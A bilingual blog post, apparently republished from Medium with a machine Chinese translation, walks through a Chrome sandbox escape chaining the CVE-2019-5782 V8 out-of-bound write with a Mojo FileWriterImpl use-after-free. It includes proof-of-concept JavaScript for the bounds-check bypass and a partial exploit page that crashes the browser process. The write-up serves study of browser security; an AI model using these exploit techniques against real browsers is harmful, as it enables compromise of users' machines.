chrome沙盒
Google’s Project Zero published a blog post explaining an exploit chain that bypass the Chrome browser sandbox. In this post, I will try to discuss my take on trying to understand the exploit chain. In summary, the sandbox bypass is made possible because of an Out-of-bound read and write bug in renderer process, chained with a Use-After-Free (UAF) bug in the browser process, triggered via Mojo IPC connection.
Google的零号专案发表了一篇博文,解释了绕过Chrome浏览器沙箱的漏洞利用链。 在这篇文章中,我将尝试讨论我对理解漏洞利用链的看法。 总而言之,由于通过Mojo IPC连接触发了渲染器进程中的越界读写错误 ,并与浏览器进程中的Free-After-Free(UAF)错误链接在一起,沙盒绕过成为可能。
As disclaimer, this is not a bug that I find, nor that this is a full writeup about the exploit. I made this post to help me organize my thought in trying to understand the bug and the exploit.
作为免责声明,这不是我发现的错误, 也不是有关漏洞利用的完整文章。 我写这篇文章是为了帮助我整理自己的想法,以试图理解该错误和漏洞利用。
Chromium中的安全架构 (Security Architecture in Chromium)
Google Chrome is based on Chromium, an open-source browser that is also forked into several other popular browsers, e.g. Opera, and Microsoft Edge.
谷歌浏览器基于Chromium,Chromium是一种开放源代码的浏览器,也可以分叉到其他几种流行的浏览器中,例如Opera和Microsoft Edge。
Chromium’s architecture allocates the components into separated process between the browser kernel process and the rendering engine process. We can roughly say that the renderer process represent the Tab (though one renderer process can manage multiple tabs in some cases), while the browser process represent the Browser itself. So, in a chrome instance, there are 1 Browser Process and several Renderer Process.
Chromium的体系结构将组件分配到浏览器内核进程和渲染引擎进程之间的分离进程中。 我们可以粗略地说,渲染器进程表示Tab (尽管在某些情况下一个渲染器进程可以管理多个选项卡),而浏览器进程表示浏览器本身。 因此,在chrome实例中,有1个浏览器进程和多个Renderer进程。

Also because of this architecture, if a web page is misbehaving and causes a process to crash, this will not crash the whole browser. Instead, it will only crash the specific tab opening the page.
同样由于这种体系结构,如果网页出现异常并导致进程崩溃,则不会使整个浏览器崩溃。 相反,它只会使打开页面的特定选项卡崩溃。

The renderer process is responsible for operations that need fast performance, such as HTML and CSS parsing, Javascript interpreter, Regex, DOM, etc. While these operations are fast, most of browser vulnerabilities found are related to these actions. On the other side, the browser process is responsible for more sensitive operations, such as cookie database, network management, window management, etc.
渲染器进程负责需要快速执行的操作,例如HTML和CSS解析,Javascript解释器,Regex,DOM等。尽管这些操作非常快,但发现的大多数浏览器漏洞都与这些操作有关。 另一方面,浏览器进程负责更敏感的操作,例如cookie数据库,网络管理,窗口管理等。
According to this paper The Security Architecture of the Chromium Browser, the operations in renderer process contributes around 75% of the vulnerabilities (disclaimer: I’m doing rough unreliable non-academic estimate). So, the chance to compromise the renderer process is higher than compromising the browser process, which lead to a solution of sandboxing the renderer process.
根据本文的Chromium浏览器的安全体系结构,渲染器过程中的操作贡献了大约75%的漏洞(免责声明:我正在做粗略的,不可靠的,非学术性的估计)。 因此,危害渲染器进程的机会比破坏浏览器进程的机会高,这导致了对渲染器进程进行沙箱处理的解决方案。

By running the renderer process in a sandbox with restricted privilege, we can mitigate high-severity attacks, such as preventing compromised renderer process to read / write to filesystem. Sandboxing force the renderer process to communicate with browser process API to interact with the outside world. The goal of the sandbox is to require even a compromised renderer process to use browser process interface to interact with the system. This communication between renderer processes and browser process is using Mojo IPC, an open source IPC library.
通过在具有受限特权的沙箱中运行渲染器进程,我们可以减轻高严重性攻击,例如防止受损的渲染器进程对文件系统进行读/写。 沙盒强制渲染器进程与浏览器进程API通信,以与外界交互。 沙盒的目标是甚至要求一个受感染的渲染器进程使用浏览器进程界面与系统进行交互。 渲染器进程和浏览器进程之间的通信使用的是Mojo IPC (开源IPC库)。

One way that allow us to easily interact with Mojo is by activating the MojoJS Binding feature in Chromium. We can activate the feature by running the browser with flag --enable-blink-features=MojoJS
. If this feature is activated, the browser will expose a Mojo
javascript object that allows us to interact and override Mojo interfaces.
允许我们轻松与Mojo交互的一种方法是激活Chromium中的MojoJS绑定功能。 我们可以通过运行带有--enable-blink-features=MojoJS
标志的浏览器来激活该功能。 如果激活此功能,浏览器将显示Mojo
javascript对象,该对象使我们能够交互和覆盖Mojo接口。
渲染器过程中的界外读/写 (Out-of-Bound Read/Write in Renderer Process)
There is an out-of-bound memory access bug in renderer process discovered by @S0rryMybad (CVE-2019–5782). The bug resulted from incorrectly estimating the possible range of arguments.length
. The JS optimizer incorrecly assumes that the maximum length of arguments is 65534
, while actually the it can be larger. From this wrong estimation, optimizer evaluate that arguments.length >> 16
will always be 0
(which is incorrect).
@ S0rryMybad(CVE-2019–5782)发现了渲染器进程中的内存访问错误。 该错误是由于错误地估计了arguments.length
的可能范围而导致的。 JS优化器错误地假定参数的最大长度为65534
,而实际上它可以更大。 根据这种错误的估计,优化器将把arguments.length >> 16
始终设为0
(这是不正确的)。
We can leverage this to trigger BCE (Bounds-Check-Elimination) optimisation in JS compiler. In JS, Bounds checking is done when we are accessing or writing arrays. For example, if when we try to write index 3
of an array with length 1
, the bound checking will be done and no operation will be done. In the example below, it will output expected result ['y']
我们可以利用它来触发JS编译器中的BCE(边界检查消除)优化。 在JS中,访问或编写数组时会进行边界检查。 例如,如果尝试写入长度为1
的数组的索引3
,则将执行绑定检查,并且不执行任何操作。 在下面的示例中,它将输出预期结果['y']
function fun(arg) {
let x = new Array('x')
let y = new Array('y')
x[3] = 'ehe'
return y
}args = []
console.log(fun(...args))
Now, let’s see what we can do with the false estimation by JS optimizer.
现在,让我们看看如何使用JS优化器进行错误估计。
Optimizer assumes that
arguments.length >> 16
is always0
.优化程序假定
arguments.length >> 16
始终为0
。For
x
our arguments length, we can definex = 65537
, sox >> 16
is actually1
.对于
x
我们的参数长度,我们可以定义x = 65537
,因此x >> 16
实际上是1
。Now, for any number
i
, we know that(x >> 16) * i == i
. Meanwhile, optimizer assumes that((x >> 16) * i)
will evaluate to(0 * i)
which is always0
.现在,对于任何数字
i
,我们都知道(x >> 16) * i == i
。 同时,优化器假设((x >> 16) * i)
求值为(0 * i)
始终为0
。If we access an array with
arr[(x >> 16) * i]
, optimizer will assume that it will always evaluate to accessing index0
, hence bounds-checking is not needed. Though in reality, it actually evaluate to accessing indexi
.如果我们使用
arr[(x >> 16) * i]
访问数组,那么优化器将假定它始终会评估为访问索引0
,因此不需要进行边界检查。 尽管实际上,它实际上评估访问索引i
。
For example:
例如:
function fun(arg) {
let x = new Array('x')
let y = new Array('y')
x[(arguments.length >> 16) * 3] = 'ehe'
return y
}args = []
args.length = 65537
console.log(fun(...args))
You may notice that if you run that JS code in a javascript console (e.g. Chrome dev console), it will still output ['y']
. Does this means that our exploit does not work? This is related to JIT paradigm in Chrome.
您可能会注意到,如果您在javascript控制台(例如Chrome开发者控制台)中运行该JS代码,它将仍然输出['y']
。 这是否意味着我们的漏洞利用不起作用? 这与Chrome中的JIT范例有关。
Chrome is using V8 Javascript Engine which implementing JIT (Just-in-Time)paradigm, which combines the use of interpreter and compiler for executing code.
Chrome使用的是V8 Javascript引擎,该引擎实现了JIT(即时)范例,该范例结合了解释器和编译器的使用来执行代码。
Basically, a code will be executed with interpreter (Ignition) by default, and V8 will keep track of how many times the code segments are executed. If the code segments are executed many times (hot code segments), the code segments will be compiled with a compiler (TurboFan). In this compilation, optimizations will be applied, thus producing a faster execution time.
基本上,默认情况下,将使用解释器(点火)执行代码,而V8会跟踪代码段的执行次数。 如果代码段多次执行(热代码段),则将使用编译器(TurboFan)编译代码段。 在此编译中,将应用优化,从而产生更快的执行时间。

Therefore, to make the optimizer remove the bounds-checking, we may need to run the function a lot of times before, thus triggering the JS engine to compile and optimize our fun
function, eliminating the bounds checking.
因此,要使优化器删除边界检查,我们可能需要多次运行该函数,从而触发JS引擎编译和优化我们的fun
函数,从而消除边界检查。
function fun(arg) {
let x = new Array('x')
let y = new Array('y')
x[(arguments.length >> 16) * 3] = 'ehe'
return y
}for (let i = 0; i < 10000; i++) fun(1) args = []
args.length = 65537
console.log(fun(...args))
Now, we can see from the output of the above code that we are able to write memory outside array x.
现在,从上面代码的输出中我们可以在数组x外部写入内存。

在浏览器进程FileWriterImpl中免费使用 (Use-After-Free in Browser Process FileWriterImpl)
There is a UAF in the implementation of Mojo Binding’s FileWriter component, specifically at FileWriterImpl implementation. Read Issue 1755 bugtracker.
Mojo Binding的FileWriter组件的实现中有一个UAF,特别是在FileWriterImpl实现中。 阅读Issue 1755 bugtracker 。
void FileWriterImpl::Write(position, blob, callback) {
blob_context_->GetBlobDataFromBlobPtr(
std::move(blob),
base::BindOnce(&FileWriterImpl::DoWrite, base::Unretained(this), std::move(callback), position));
}
As disclaimer, the code above is heavily simplified for explanation purpose. Bsically, when we are calling Write
function to write a blob data, the browser process will retrieve the BlobData using asynchronous function, and provide a callback to it. In the provided callback, FileWriterImpl is providing a reference to this
or the FileWriterImpl instance itself with base:Unretained()
. The base::Unretained(this)
creates an unchecked reference of the FileWriterImpl
instance. This could be dangerous if the FileWriterImpl
instance is already freed when the callback is called, as it will continue its execution while refering to a stale pointer that refer to an already freed object.
作为免责声明,出于解释目的,上面的代码已大大简化。 基本上,当我们调用Write
函数写入blob数据时,浏览器进程将使用异步函数检索BlobData,并为其提供回调。 在提供的回调中,FileWriterImpl通过base:Unretained()
提供this
实例或FileWriterImpl实例本身的引用。 base::Unretained(this)
创建FileWriterImpl
实例的未经检查的引用。 如果在调用回调时已经释放FileWriterImpl
实例,则可能会很危险,因为在引用指向已释放对象的陈旧指针时,它将继续执行。
Now, we are going to look for how to trigger the free
of the unretained reference.
现在,我们将寻找如何触发free
未保留引用的方法。
void BlobStorageContext::GetBlobDataFromBlobPtr(blob, callback) {
raw_blob = blob.get();
raw_blob->GetInternalUUID([](uuid) {
std::move(callback).Run(context->GetBlobDataFromUUID(uuid));
})
}
We see that in GetBlobDataFromBlobPtr()
, it will call an asynchronous function GetInternalUUID
to get the blob UUID, then call our provided callback. Fortunately (or unfortunately?), the GetInternalUUID
is a mojo interface method. This means that renderer can define the implementation of GetInternalUUID
if it passes a renderer-hosted Blob implementation instead of browser-process-hosted blob.
我们看到在GetBlobDataFromBlobPtr()
,它将调用异步函数GetInternalUUID
以获取Blob UUID,然后调用提供的回调。 幸运的是(或不幸的是?), GetInternalUUID
是一种mojo接口方法。 这意味着如果渲染器传递了渲染器托管的Blob实现而不是浏览器进程托管的Blob,则渲染器可以定义GetInternalUUID
的实现。
In short, what it implies is: If we (attacker) is able to control the renderer process, we can define the implementation of GetInternalUUID
.
简而言之,这意味着:如果我们(攻击者)能够控制渲染器进程,则可以定义GetInternalUUID
的实现。
In our implementation of GetInternalUUID
, we can destroy the renderer handle to FileWriter. This will trigger immediate destruction (free) of FileWriterImpl. Thus, when GetInternalUUID
returns, it will call the callback while using the provided base::Unretained(*FileWriterImpl)
, which is a stale pointer of an already freed object. Normally this will cause the browser process to crash.
在GetInternalUUID
的实现中,我们可以销毁FileWriter的渲染器句柄。 这将立即销毁(免费)FileWriterImpl。 因此,当GetInternalUUID
返回时,它将在使用提供的base::Unretained(*FileWriterImpl)
同时调用回调,该base::Unretained(*FileWriterImpl)
是已释放对象的陈旧指针。 通常,这将导致浏览器进程崩溃。
BlobImpl.prototype = {
getInternalUUID: async (arg0) => {
writer.writer.ptr.reset();
return {'uuid': "blob_0"};
}
}

Note that destroying the FileWriter handle in renderer process will trigger the destruction of FileWriterImpl in browser process because FileWriterImpl is created and bound with mojo::StrongBinding
.
请注意,在Filerriter进程中销毁FileWriter句柄将在浏览器进程中触发FileWriterImpl的销毁,因为FileWriterImpl是用mojo::StrongBinding
创建并绑定的。
void FileSystemManagerImpl::CreateWriter(const GURL& file_path,
CreateWriterCallback callback) {
...
blink::mojom::FileWriterPtr writer;
mojo::MakeStrongBinding(std::make_unique<storage::FileWriterImpl>(
url, context_->CreateFileSystemOperationRunner(),
blob_storage_context_->context()->AsWeakPtr()),
MakeRequest(&writer));
std::move(callback).Run(base::File::FILE_OK, std::move(writer));
}
You may have noticed that this bug cannot be exploited directly in a real world scenario of a normal Chrome user. This is because we need access to communicate with the Mojo interface from Javascript. In a default instance of Chrome browser, the Mojo interface is not exposed and cannot be used by javascript in a webpage.
您可能已经注意到,在普通的Chrome用户的实际情况下,无法直接利用此错误。 这是因为我们需要访问才能通过Javascript与Mojo接口进行通信。 在Chrome浏览器的默认实例中,Mojo界面不会公开,网页中的javascript不能使用。
沙箱绕过 (The Sandbox Bypass)
Let’s limit our goal, we just want to crash the Chrome browser of a normal user running default Chrome instance.
让我们限制目标,我们只想崩溃运行默认Chrome实例的普通用户的Chrome浏览器。
The idea is as follows:
这个想法如下:
- Victim visit our specially crafted HTML page 受害者访问我们特制HTML页面
- With CVE-2019–5782, we setup Out-of-Bound Read/Write in Renderer Process (discussed in previous section) 使用CVE-2019–5782,我们在渲染器过程中设置了界外读/写(在上一节中进行了讨论)
- With OoB read/write, we enable MojoJS Binding in browser (discussed later) 通过OoB读/写,我们在浏览器中启用MojoJS绑定(稍后讨论)
- With MojoJS Binding now enabled and exposed to JS context, the page can communicate with Mojo IPC interface directly. 现在启用了MojoJS绑定并向JS上下文公开,该页面可以直接与Mojo IPC接口通信。
- Execute the UAF exploit to free FileWriterImpl (discussed in previous section), virtually bypassing sandbox and crashing the Browser Process. 执行UAF攻击以释放FileWriterImpl(在上一节中进行了讨论),实际上绕过了沙箱并使浏览器进程崩溃。

启用MojoJS绑定 (Enabling MojoJS Binding)
We know that with UAF discovered in Issue 1755, we can crash the browser. But, we need to have MojoJS binding enabled, and it is definitely not cool to ask our target to enable the MojoJS flag when running their Chrome browser. Instead, we are going to exploit the Out-of-Bound memory access bug to enable the Mojo Binding.
我们知道,利用在1755年发布的 UAF,我们可以使浏览器崩溃。 但是,我们需要启用MojoJS绑定,并且要求我们的目标在运行他们的Chrome浏览器时启用MojoJS标志绝对不是一件很酷的事情。 相反,我们将利用“越界”内存访问错误来启用Mojo绑定。
Inside the Chrome source code, we can see that MojoJS feature is added to Javascript context in RenderFrameImpl::DidCreateScriptContext
.
在Chrome源代码中,我们可以看到MojoJS功能已添加到RenderFrameImpl::DidCreateScriptContext
Javascript上下文中。
void RenderFrameImpl::DidCreateScriptContext(v8::Local<v8::Context> context,
int world_id) {
if ((enabled_bindings_ & BINDINGS_POLICY_MOJO_WEB_UI) && IsMainFrame() &&
world_id == ISOLATED_WORLD_ID_GLOBAL) {
blink::WebContextFeatures::EnableMojoJS(context, true);
}
...
}
In the function, MojoJS is enabled if (enabled_bindings_ & BINDINGS_POLICY_MOJO_WEB_UI)
is true). By using OoB memory access bug, we can write and set the enabled_bindings_
variable BINDINGS_POLICY_MOJO_WEB_UI
value. Then, we can reload the page so Mojo
in our javascript context.
在该函数中,如果(enabled_bindings_ & BINDINGS_POLICY_MOJO_WEB_UI)
为true,则启用(enabled_bindings_ & BINDINGS_POLICY_MOJO_WEB_UI)
。 通过使用OoB内存访问错误,我们可以编写和设置enabled_bindings_
变量BINDINGS_POLICY_MOJO_WEB_UI
值。 然后,我们可以重新加载页面,以便Mojo
在我们JavaScript上下文中。
沙盒逃逸和浏览器崩溃 (Sandbox Escape and Crashing the Browser)
Not that we have MojoJS binding enabled, we can use the exploit for UAF bug in Issue 1755. The steps are as follows:
并不是说我们启用了MojoJS绑定,我们可以将漏洞利用用于1755年发行的UAF错误。步骤如下:
- A user visit our specially crafted HTML page. 用户访问我们的特制HTML页面。
With CVE-2019–5782, we set
enabled_bindings_
value accordingly to enable MojoJS binding. Then reload the page.在CVE-2019–5782中,我们相应地设置
enabled_bindings_
值以启用MojoJS绑定。 然后重新加载页面。- With Mojo now exposed to JS context, the page can communicate with Mojo IPC interface directly. 现在,Mojo在JS上下文中公开了,该页面可以直接与Mojo IPC接口通信。
- Execute the UAF exploit to free FileWriterImpl. 执行UAF攻击以释放FileWriterImpl。
When the browser process use the stale pointer inside the unretained FileWriterImpl reference, the browser will crash.
当浏览器进程在未保留的FileWriterImpl引用中使用陈旧指针时,浏览器将崩溃。
We are reusing some of the code in the attached exploit at Issue 1755 bug tracking. The simplified code is as follows:
我们将在问题1755错误跟踪中重用附带的漏洞利用程序中的某些代码。 简化的代码如下:
<script src="/many_args.js"></script>
<script src="/enable_mojo.js"></script>
<script src="/crash.js"></script><script>
let oob = new many_args();
if (typeof(Mojo) !== "undefined") {
print('[enable_mojo] mojo already enabled')
crash(oob);
} else {
enable_mojo(oob);
}
</script>async function CreateWriter() {
}async function RegisterBlob0() {
}async function crash(oob) {
print('[sandbox_escape] exploiting issue_1755 to escape sandbox and crash browser'); var writer = await CreateWriter() print(' [*] crafting renderer-hosted blob implementation')
function Blob0Impl() {
this.binding = new mojo.Binding(blink.mojom.Blob, this);
}
Blob0Impl.prototype = {
getInternalUUID: async (arg0) => {
print(' [*] getInternalUUID is called'); print(' [!] freeing FileWriterImpl');
create_writer_result.writer.ptr.reset(); print(' [*] resuming FileWriterImpl::DoWrite, prepare to crash');
return {'uuid': 'blob_0'};
}
}; RegisterBlob0(); let blob_impl = new Blob0Impl();
let blob_impl_ptr = new blink.mojom.BlobPtr();
blob_impl.binding.bind(mojo.makeRequest(blob_impl_ptr)); print(' [*] calling Write with renderer-hosted blob implementation')
writer.writer.write(0, blob_impl_ptr);
}
In index.html
, we are setting up the out-of-bound read/write bug by exploiting CVE-2019-5782. Then, at first we visit the page, we enable the Mojo binding, and reload the page. Now that the Mojo binding is enabled (not undefined), we call the crash
function.
在index.html
,我们通过利用CVE-2019-5782设置了超出范围的读/写错误。 然后,首先访问页面,启用Mojo绑定,然后重新加载页面。 现在启用了Mojo绑定(不是未定义),我们将调用crash
功能。
In crash
function, we are registering a blob with id blob_0
to blob registry, then we define our custom Blob implementation with a malicious implemenation of getInternalUUID
. Finally we call the Write
function with a custom renderer-hosted blob implementation.
在crash
功能中,我们正在将ID为blob_0
的blob注册到blob注册表中,然后使用getInternalUUID
的恶意实现定义自定义Blob实现。 最后,我们使用自定义渲染器托管的Blob实现调用Write
函数。
Inside our custom getInternalUUID
, we free the FileWriterImpl
instance. When the function return and the execution is passed to DoWrite
, the freed / stale pointer will be used, causing the browser to crash.
在自定义getInternalUUID
,我们释放FileWriterImpl
实例。 当函数返回并将执行传递给DoWrite
,将使用释放的/过时的指针,从而导致浏览器崩溃。
沙盒逃生演示 (Sandbox Escape Demo)

结论 (Conclusion)
Please note that this is not a writeup of an exploit. In this post, I discussed about the general idea how to escape the sandbox in Chromium-based browser, in this case Google Chrome. The idea presented in this post can still be leveraged to increase the damage, e.g. executing system call to execute a program (e.g. popup calculator). As I first mentioned, this post acts to help me organize my thought while trying to understand the exploit chain posted in Project Zero blog. Therefore, I recommend reading their post.
请注意,这不是漏洞利用的补充。 在本文中,我讨论了如何在基于Chromium的浏览器(本例为Google Chrome)中逃逸沙箱的一般想法。 这篇文章中提出的想法仍然可以被利用来增加损害,例如执行系统调用来执行程序(例如弹出计算器)。 正如我首先提到的那样,这篇文章的目的是帮助我整理思路,同时试图了解Project Zero博客中发布的漏洞利用链。 因此,我建议阅读他们的文章 。
翻译自: https://medium.com/@adamyordan/my-take-on-chrome-sandbox-escape-exploit-chain-dbf5a616eec5
chrome沙盒